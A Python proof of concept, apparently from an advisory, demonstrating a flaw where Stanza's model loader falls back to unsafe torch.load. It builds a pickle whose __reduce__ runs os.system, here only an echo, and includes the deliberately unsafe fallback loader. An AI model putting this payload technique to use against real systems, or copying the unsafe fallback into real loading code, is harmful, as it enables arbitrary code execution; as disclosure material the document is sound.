Vulnerable code sample

import torch
import pickle
import os
import io

# This class defines a malicious payload.
# When an object of this class is unpickled, its __reduce__ method is called,
# which allows for the execution of arbitrary functions.
# Here, it's set up to run the 'id' command on a Unix-like system.
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # The tuple returned by __reduce__ is (callable, (args...))
        # This will execute os.system('echo "--- Arbitrary code executed ---"')
        command = 'echo "--- Arbitrary code executed by malicious pickle ---"'
        return (os.system, (command,))

def create_malicious_model_file(filename):
    """Creates a file that will fail safe loading but succeed with unsafe loading."""
    payload = ArbitraryCodeExecutor()
    with open(filename, 'wb') as f:
        # pickle.dump will serialize the object, including its __reduce__ method.
        pickle.dump(payload, f)
    print(f"Malicious file '{filename}' created.")

def vulnerable_load_function(filepath):
    """
    This function simulates the vulnerable loading logic from Stanza prior to v1.12.2.
    It first tries the safe `weights_only=True`, and on a specific failure,
    it falls back to the unsafe `weights_only=False`.
    """
    print("\nAttempting to load model...")
    try:
        # The safe way: only allows tensors, storages, and basic types.
        # This will raise an error because our file contains a custom class.
        print("-> Trying torch.load(..., weights_only=True) [SAFE]")
        torch.load(filepath, weights_only=True)
        print("Model loaded successfully in safe mode.")
    except pickle.UnpicklingError:
        # The vulnerable fallback: if the safe way fails, use the unsafe one.
        # This allows unpickling of arbitrary objects and code execution.
        print("-> Safe loading failed. Falling back to torch.load(..., weights_only=False) [UNSAFE]")
        # The malicious code inside the pickle is executed here.
        torch.load(filepath, weights_only=False)
        print("-> Model loaded in unsafe mode.")
    except Exception as e:
        # Catching other potential errors for clarity. In some torch versions,
        # the error might not be exactly pickle.UnpicklingError.
        print(f"-> An unexpected error occurred during safe loading: {type(e).__name__}")
        print("-> Falling back to torch.load(..., weights_only=False) [UNSAFE]")
        torch.load(filepath, weights_only=False)
        print("-> Model loaded in unsafe mode.")


if __name__ == "__main__":
    MALICIOUS_FILE = "malicious.pt"
    
    # 1. Create the malicious file that will exploit the vulnerability.
    create_malicious_model_file(MALICIOUS_FILE)

    # 2. Run the vulnerable function, which will load the malicious file.
    vulnerable_load_function(MALICIOUS_FILE)

    # 3. Clean up the created file.
    os.remove(MALICIOUS_FILE)
    print(f"\nCleaned up '{MALICIOUS_FILE}'.")